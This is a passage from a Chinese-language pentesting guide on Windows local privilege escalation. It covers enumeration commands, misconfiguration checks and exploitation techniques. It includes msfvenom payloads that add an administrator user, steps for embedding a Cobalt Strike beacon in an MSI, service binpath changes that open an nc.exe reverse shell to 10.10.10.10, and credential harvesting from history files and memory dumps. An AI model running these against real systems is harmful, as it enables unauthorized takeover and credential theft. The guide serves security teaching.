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1636 lines
75 KiB
Markdown
1636 lines
75 KiB
Markdown
# Windows Local Privilege Escalation
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{{#include ../../banners/hacktricks-training.md}}
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### **查找 Windows local privilege escalation vectors 的最佳工具：** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
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## Windows 基础理论
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### Access Tokens
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**如果你不知道 Windows Access Tokens 是什么，请在继续之前阅读下面的页面：**
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{{#ref}}
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access-tokens.md
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{{#endref}}
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### ACLs - DACLs/SACLs/ACEs
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**关于 ACLs - DACLs/SACLs/ACEs 的更多信息，请查看下列页面：**
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{{#ref}}
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acls-dacls-sacls-aces.md
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{{#endref}}
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### Integrity Levels
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**如果你不知道 Windows 中的 integrity levels 是什么，应该在继续之前阅读下面的页面：**
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{{#ref}}
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integrity-levels.md
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{{#endref}}
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## Windows 安全控制
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Windows 中存在多种情况可能会**阻止你枚举系统**、运行可执行文件，甚至**检测到你的活动**。在开始 privilege escalation 枚举之前，你应该**阅读**下面的**页面**并**枚举**所有这些**防御****机制**：
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{{#ref}}
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../authentication-credentials-uac-and-efs/
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{{#endref}}
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## 系统信息
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### 版本信息枚举
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检查 Windows 版本是否存在已知漏洞（也要检查已应用的补丁）。
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```bash
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systeminfo
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systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
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wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
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wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
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```
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```bash
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[System.Environment]::OSVersion.Version #Current OS version
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Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
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Get-Hotfix -description "Security update" #List only "Security Update" patches
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```
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### 版本 Exploits
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This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **巨大的攻击面** that a Windows environment presents.
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**在系统上**
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- _post/windows/gather/enum_patches_
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- _post/multi/recon/local_exploit_suggester_
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- [_watson_](https://github.com/rasta-mouse/Watson)
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- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas 内嵌 watson)_
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**本地（基于系统信息）**
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- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
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- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
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**Github 上的 exploits 仓库：**
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- [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
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- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
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- [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
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### 环境
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是否有任何 credential/Juicy info 保存在 env variables 中？
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```bash
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set
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dir env:
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Get-ChildItem Env: | ft Key,Value -AutoSize
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```
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### PowerShell 历史
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```bash
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ConsoleHost_history #Find the PATH where is saved
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type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
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type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
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type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
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cat (Get-PSReadlineOption).HistorySavePath
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cat (Get-PSReadlineOption).HistorySavePath | sls passw
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```
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### PowerShell 转录文件
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你可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) 学习如何启用此功能
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```bash
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#Check is enable in the registry
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reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
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reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
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reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
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reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
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dir C:\Transcripts
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#Start a Transcription session
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Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
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Stop-Transcript
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```
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### PowerShell Module Logging
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PowerShell 管道执行的详细信息会被记录，涵盖已执行的命令、命令调用以及脚本的部分内容。然而，完整的执行细节和输出结果可能不会全部被捕获。
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要启用此功能，请按照文档中 "Transcript files" 部分的说明操作，选择 **"Module Logging"** 而不是 **"Powershell Transcription"**。
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```bash
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reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
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reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
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reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
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reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
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```
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要查看 Powershell 日志的最近 15 条事件，您可以执行：
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```bash
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Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
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```
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### PowerShell **Script Block Logging**
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捕获脚本执行的完整活动与全部内容记录，确保每个代码块在运行时都被记录。该过程保留了每项活动的完整审计轨迹，对取证和分析恶意行为非常有价值。通过在执行时记录所有活动，可以获得有关流程的详细洞见。
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```bash
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reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
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reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
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reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
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reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
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```
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Script Block 的日志事件可以在 Windows 事件查看器的路径找到: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
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要查看最近 20 条事件，你可以使用：
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```bash
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Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
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```
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### 互联网设置
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```bash
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reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
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reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
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```
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### 驱动器
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```bash
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wmic logicaldisk get caption || fsutil fsinfo drives
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wmic logicaldisk get caption,description,providername
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Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
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```
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## WSUS
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如果更新不是通过 http**S** 而是通过 http 请求，则可能导致系统被攻陷。
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首先，在 cmd 中运行以下命令来检查网络是否使用 non-SSL 的 WSUS 更新：
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```
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reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
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```
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或者在 PowerShell 中执行以下命令：
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```
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Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
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```
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如果你收到如下回复：
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```bash
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HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
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WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
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```
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```bash
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WUServer : http://xxxx-updxx.corp.internal.com:8530
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PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
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PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
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PSChildName : windowsupdate
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PSDrive : HKLM
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PSProvider : Microsoft.PowerShell.Core\Registry
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```
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And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`.
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Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored.
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In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
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Read the research here:
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{{#file}}
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CTX_WSUSpect_White_Paper (1).pdf
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{{#endfile}}
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**WSUS CVE-2020-1013**
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[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
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Basically, this is the flaw that this bug exploits:
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> 如果我们有权限修改本地用户代理（proxy），并且 Windows Updates 使用 Internet Explorer 设置中配置的代理，那么我们就有能力本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量，并以提升权限的用户在我们的资产上运行代码。
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>
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> 此外，由于 WSUS 服务使用当前用户的设置，它也会使用当前用户的证书存储。如果我们为 WSUS 主机名生成一个自签名证书并将该证书添加到当前用户的证书存储中，我们就能够拦截 HTTP 和 HTTPS 的 WSUS 流量。WSUS 不使用类似 HSTS 的机制来实现对证书的首次信任验证。如果所呈现的证书被用户信任且具有正确的主机名，服务就会接受它。
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You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated).
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## KrbRelayUp
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A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**.
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Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
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For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
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## AlwaysInstallElevated
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**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**.
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```bash
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reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
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reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
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```
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### Metasploit payloads
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```bash
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msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
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msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
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```
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如果你有一个 meterpreter 会话，你可以使用模块 **`exploit/windows/local/always_install_elevated`** 来自动化此技术
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### PowerUP
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使用 power-up 的 `Write-UserAddMSI` 命令在当前目录中创建一个用于提权的 Windows MSI 二进制文件。该脚本写出一个预编译的 MSI 安装程序，会提示添加用户/组（因此你将需要 GIU access）：
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```
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Write-UserAddMSI
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```
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只需执行生成的二进制文件即可提升权限。
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### MSI Wrapper
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阅读本教程以学习如何使用这些工具创建 MSI wrapper。注意，如果你**只是**想**执行** **command lines**，可以封装 **.bat** 文件。
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{{#ref}}
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msi-wrapper.md
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{{#endref}}
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### Create MSI with WIX
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{{#ref}}
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create-msi-with-wix.md
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{{#endref}}
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### Create MSI with Visual Studio
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- 使用 Cobalt Strike 或 Metasploit **Generate** 一个新的 **Windows EXE TCP payload** 到 `C:\privesc\beacon.exe`
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- 打开 **Visual Studio**，选择 **Create a new project**，在搜索框输入 "installer"。选择 **Setup Wizard** 项目并点击 **Next**。
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- 为项目命名，例如 **AlwaysPrivesc**，使用 **`C:\privesc`** 作为位置，选择 **place solution and project in the same directory**，然后点击 **Create**。
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- 一直点击 **Next** 直到到达第 3 步（共 4 步，选择要包含的文件）。点击 **Add** 并选择你刚生成的 Beacon payload。然后点击 **Finish**。
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- 在 **Solution Explorer** 中选中 **AlwaysPrivesc** 项目，在 **Properties** 中将 **TargetPlatform** 从 **x86** 更改为 **x64**。
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- 你还可以修改其他属性，例如 **Author** 和 **Manufacturer**，以使安装后的应用看起来更合理。
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- 右键项目，选择 **View > Custom Actions**。
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- 右键 **Install** 并选择 **Add Custom Action**。
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- 双击 **Application Folder**，选择你的 **beacon.exe** 文件并点击 **OK**。这样可以确保安装程序运行时立即执行 beacon payload。
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- 在 **Custom Action Properties** 下，将 **Run64Bit** 更改为 **True**。
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- 最后，**build it**。
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- 如果出现警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`，请确保你将平台设置为 x64。
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### MSI Installation
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要在后台执行恶意 `.msi` 文件的**installation**：
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```
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msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
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```
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要利用此漏洞你可以使用: _exploit/windows/local/always_install_elevated_
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## 防病毒与检测器
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### 审计设置
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这些设置决定什么被**记录**，所以你应该注意
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```
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reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
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```
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### WEF
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Windows Event Forwarding：了解日志被发送到何处很重要
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```bash
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reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
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```
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### LAPS
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**LAPS** 旨在管理本地 Administrator 密码，确保加入域的计算机上的每个密码都是**唯一、随机化并定期更新**的。这些密码安全地存储在 Active Directory 中，只有通过 ACLs 授予了足够权限的用户才能访问，从而在被授权时查看本地 Administrator 密码。
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{{#ref}}
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../active-directory-methodology/laps.md
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{{#endref}}
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### WDigest
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如果启用，**明文密码会被存储在 LSASS** (Local Security Authority Subsystem Service).\
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[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest).
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```bash
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reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
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```
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### LSA Protection
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从 **Windows 8.1** 开始，Microsoft 引入了对 Local Security Authority (LSA) 的增强保护，以 **阻止** 不受信任的进程 **读取其内存** 或注入代码，从而进一步保护系统安全。\
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[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
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```bash
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reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
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```
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### Credentials Guard
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**Credential Guard** 在 **Windows 10** 中引入。其目的是保护存储在设备上的凭证，免受像 pass-the-hash 攻击之类的威胁。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
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```bash
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reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
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```
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### Cached Credentials
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**Domain credentials** 由 **Local Security Authority** (LSA) 进行认证，并被操作系统组件使用。 当用户的登录数据被已注册的安全包认证时，通常会为该用户建立 domain credentials。\
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[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials).
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```bash
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reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
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```
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## 用户与组
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### 枚举用户与组
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你应该检查你所属的任何组是否具有可利用的权限
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```bash
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# CMD
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net users %username% #Me
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net users #All local users
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net localgroup #Groups
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net localgroup Administrators #Who is inside Administrators group
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whoami /all #Check the privileges
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# PS
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Get-WmiObject -Class Win32_UserAccount
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Get-LocalUser | ft Name,Enabled,LastLogon
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Get-ChildItem C:\Users -Force | select Name
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Get-LocalGroupMember Administrators | ft Name, PrincipalSource
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```
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### 特权组
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如果你**属于某些特权组，你可能能够提升权限**。在此了解特权组以及如何滥用它们来提升权限：
|
||
|
||
|
||
{{#ref}}
|
||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||
{{#endref}}
|
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### Token 操作
|
||
|
||
**了解更多** 有关 **token** 是什么，请见此页面: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||
查看以下页面以**了解有趣的 token**以及如何滥用它们：
|
||
|
||
|
||
{{#ref}}
|
||
privilege-escalation-abusing-tokens.md
|
||
{{#endref}}
|
||
|
||
### 已登录用户 / 会话
|
||
```bash
|
||
qwinsta
|
||
klist sessions
|
||
```
|
||
### 用户主目录
|
||
```bash
|
||
dir C:\Users
|
||
Get-ChildItem C:\Users
|
||
```
|
||
### 密码策略
|
||
```bash
|
||
net accounts
|
||
```
|
||
### 获取剪贴板内容
|
||
```bash
|
||
powershell -command "Get-Clipboard"
|
||
```
|
||
## 运行中的进程
|
||
|
||
### 文件和文件夹权限
|
||
|
||
首先，在列出进程时，**检查进程命令行中是否包含密码**。\
|
||
检查是否可以**覆盖某个正在运行的二进制文件**，或者是否对二进制所在的文件夹有写权限，以便利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html)：
|
||
```bash
|
||
Tasklist /SVC #List processes running and services
|
||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||
|
||
#With allowed Usernames
|
||
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
|
||
|
||
#Without usernames
|
||
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||
```
|
||
始终检查是否可能有 [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)。
|
||
|
||
**检查进程二进制文件的权限**
|
||
```bash
|
||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
|
||
icacls "%%z"
|
||
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
|
||
)
|
||
)
|
||
```
|
||
**检查进程二进制文件所在文件夹的权限 (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||
```bash
|
||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
|
||
todos %username%" && echo.
|
||
)
|
||
```
|
||
### Memory Password mining
|
||
|
||
你可以使用 sysinternals 的 **procdump** 对正在运行的进程创建内存转储。像 FTP 这样的服务会有 **credentials in clear text in memory**，尝试转储内存并读取这些 credentials。
|
||
```bash
|
||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||
```
|
||
### 不安全的 GUI 应用
|
||
|
||
**以 SYSTEM 身份运行的应用可能允许用户启动 CMD，或浏览目录。**
|
||
|
||
示例： "Windows Help and Support" (Windows + F1)，搜索 "command prompt"，点击 "Click to open Command Prompt"
|
||
|
||
## 服务
|
||
|
||
获取服务列表：
|
||
```bash
|
||
net start
|
||
wmic service list brief
|
||
sc query
|
||
Get-Service
|
||
```
|
||
### 权限
|
||
|
||
你可以使用 **sc** 来获取服务的信息
|
||
```bash
|
||
sc qc <service_name>
|
||
```
|
||
建议准备来自 _Sysinternals_ 的二进制文件 **accesschk**，用于检查每个服务所需的权限级别。
|
||
```bash
|
||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||
```
|
||
建议检查 "Authenticated Users" 是否可以修改任何服务：
|
||
```bash
|
||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
|
||
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||
```
|
||
[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
|
||
|
||
### 启用服务
|
||
|
||
如果你遇到这个错误（例如在 SSDPSRV 上）:
|
||
|
||
_发生了系统错误 1058。_\
|
||
_无法启动该服务，可能是因为它被禁用，或因为没有与其关联的已启用设备。_
|
||
|
||
你可以使用以下命令启用它
|
||
```bash
|
||
sc config SSDPSRV start= demand
|
||
sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||
```
|
||
**请注意，服务 upnphost 依赖 SSDPSRV 才能工作（适用于 XP SP1）**
|
||
|
||
**另一个解决方法是运行：**
|
||
```
|
||
sc.exe config usosvc start= auto
|
||
```
|
||
### **修改服务二进制路径**
|
||
|
||
在“Authenticated users”组对某个服务拥有 **SERVICE_ALL_ACCESS** 权限的情况下，可以修改该服务的可执行二进制文件。要修改并执行 **sc**：
|
||
```bash
|
||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||
|
||
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
|
||
```
|
||
### 重启服务
|
||
```bash
|
||
wmic service NAMEOFSERVICE call startservice
|
||
net stop [service name] && net start [service name]
|
||
```
|
||
权限可以通过多种权限被提升：
|
||
|
||
- **SERVICE_CHANGE_CONFIG**: 允许重新配置服务的二进制文件。
|
||
- **WRITE_DAC**: 允许重新配置权限，从而能够更改服务配置。
|
||
- **WRITE_OWNER**: 允许获取所有权并重新配置权限。
|
||
- **GENERIC_WRITE**: 继承更改服务配置的能力。
|
||
- **GENERIC_ALL**: 同样继承更改服务配置的能力。
|
||
|
||
要检测和利用此漏洞，可以使用 _exploit/windows/local/service_permissions_。
|
||
|
||
### Services binaries weak permissions
|
||
|
||
**检查是否可以修改由服务执行的二进制文件** 或者 是否对二进制文件所在的文件夹具有 **写权限** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||
您可以使用 **wmic** 获取服务执行的所有二进制文件（不在 system32 中），并使用 **icacls** 检查您的权限：
|
||
```bash
|
||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||
|
||
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
|
||
```
|
||
你也可以使用 **sc** 和 **icacls**:
|
||
```bash
|
||
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||
```
|
||
### 服务注册表修改权限
|
||
|
||
你应该检查是否能修改任何服务注册表。\
|
||
你可以**检查**你对某个服务**注册表**的**权限**，方法如下：
|
||
```bash
|
||
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
|
||
|
||
#Try to write every service with its current content (to check if you have write permissions)
|
||
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
|
||
|
||
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
|
||
```
|
||
应检查 **Authenticated Users** 或 **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是，则可以更改服务执行的二进制文件。
|
||
|
||
要更改被执行二进制的路径：
|
||
```bash
|
||
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
||
```
|
||
### 服务注册表 AppendData/AddSubdirectory 权限
|
||
|
||
如果你对一个注册表拥有此权限，这意味着你可以从该注册表**创建子注册表**。在 Windows services 的情况下，这已经**足以执行任意代码：**
|
||
|
||
|
||
{{#ref}}
|
||
appenddata-addsubdirectory-permission-over-service-registry.md
|
||
{{#endref}}
|
||
|
||
### Unquoted Service Paths
|
||
|
||
如果可执行文件的路径没有被引号包围，Windows 会尝试执行每个在空格之前的路径片段。
|
||
|
||
例如，对于路径 _C:\Program Files\Some Folder\Service.exe_，Windows 会尝试执行：
|
||
```bash
|
||
C:\Program.exe
|
||
C:\Program Files\Some.exe
|
||
C:\Program Files\Some Folder\Service.exe
|
||
```
|
||
列出所有未加引号的服务路径，排除属于内置 Windows 服务的：
|
||
```bash
|
||
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
|
||
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
|
||
|
||
# Using PowerUp.ps1
|
||
Get-ServiceUnquoted -Verbose
|
||
```
|
||
|
||
```bash
|
||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
|
||
)
|
||
)
|
||
```
|
||
|
||
```bash
|
||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||
```
|
||
**你可以使用 metasploit 检测并利用** 此漏洞: `exploit/windows/local/trusted_service_path` 你可以使用 metasploit 手动创建服务二进制:
|
||
```bash
|
||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
||
```
|
||
### 恢复操作
|
||
|
||
Windows 允许用户在服务失败时指定要执行的操作。此功能可以配置为指向一个二进制文件。如果该二进制文件可被替换，可能会发生 privilege escalation。更多细节请参见 [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||
|
||
## 应用程序
|
||
|
||
### 已安装的应用程序
|
||
|
||
检查 **二进制文件的权限**（也许你可以覆盖其中一个并 escalate privileges）以及 **文件夹** 的权限（[DLL Hijacking](dll-hijacking/index.html)）。
|
||
```bash
|
||
dir /a "C:\Program Files"
|
||
dir /a "C:\Program Files (x86)"
|
||
reg query HKEY_LOCAL_MACHINE\SOFTWARE
|
||
|
||
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
|
||
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||
```
|
||
### 写权限
|
||
|
||
检查是否可以修改某些配置文件以读取某些特殊文件，或是否可以修改将由 Administrator 帐户执行的某个二进制文件（schedtasks）。
|
||
|
||
在系统中查找弱文件/文件夹权限的一种方法是执行：
|
||
```bash
|
||
accesschk.exe /accepteula
|
||
# Find all weak folder permissions per drive.
|
||
accesschk.exe -uwdqs Users c:\
|
||
accesschk.exe -uwdqs "Authenticated Users" c:\
|
||
accesschk.exe -uwdqs "Everyone" c:\
|
||
# Find all weak file permissions per drive.
|
||
accesschk.exe -uwqs Users c:\*.*
|
||
accesschk.exe -uwqs "Authenticated Users" c:\*.*
|
||
accesschk.exe -uwdqs "Everyone" c:\*.*
|
||
```
|
||
|
||
```bash
|
||
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
|
||
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
|
||
```
|
||
|
||
```bash
|
||
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
|
||
|
||
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
|
||
```
|
||
### 启动时运行
|
||
|
||
**检查是否可以覆盖某个注册表或二进制文件，该文件将由不同的用户执行。**\
|
||
**阅读** **以下页面** 以了解更多关于有趣的 **autoruns locations to escalate privileges** 的信息：
|
||
|
||
|
||
{{#ref}}
|
||
privilege-escalation-with-autorun-binaries.md
|
||
{{#endref}}
|
||
|
||
### 驱动程序
|
||
|
||
查找可能的 **third party weird/vulnerable** 驱动程序
|
||
```bash
|
||
driverquery
|
||
driverquery.exe /fo table
|
||
driverquery /SI
|
||
```
|
||
如果一个 driver 暴露了 arbitrary kernel read/write primitive（常见于设计不良的 IOCTL handlers），你可以通过直接从 kernel memory 偷取一个 SYSTEM token 来提升权限。详尽的逐步技术请见：
|
||
|
||
{{#ref}}
|
||
arbitrary-kernel-rw-token-theft.md
|
||
{{#endref}}
|
||
|
||
|
||
## PATH DLL Hijacking
|
||
|
||
如果你拥有 **write permissions inside a folder present on PATH**，你可能能够劫持由进程加载的 DLL 并 **escalate privileges**。
|
||
|
||
检查 PATH 中所有文件夹的权限：
|
||
```bash
|
||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||
```
|
||
有关如何滥用此检查的更多信息：
|
||
|
||
{{#ref}}
|
||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||
{{#endref}}
|
||
|
||
## 网络
|
||
|
||
### 共享
|
||
```bash
|
||
net view #Get a list of computers
|
||
net view /all /domain [domainname] #Shares on the domains
|
||
net view \\computer /ALL #List shares of a computer
|
||
net use x: \\computer\share #Mount the share locally
|
||
net share #Check current shares
|
||
```
|
||
### hosts file
|
||
|
||
检查 hosts file 中是否存在其他已知计算机的硬编码条目
|
||
```
|
||
type C:\Windows\System32\drivers\etc\hosts
|
||
```
|
||
### 网络接口 & DNS
|
||
```
|
||
ipconfig /all
|
||
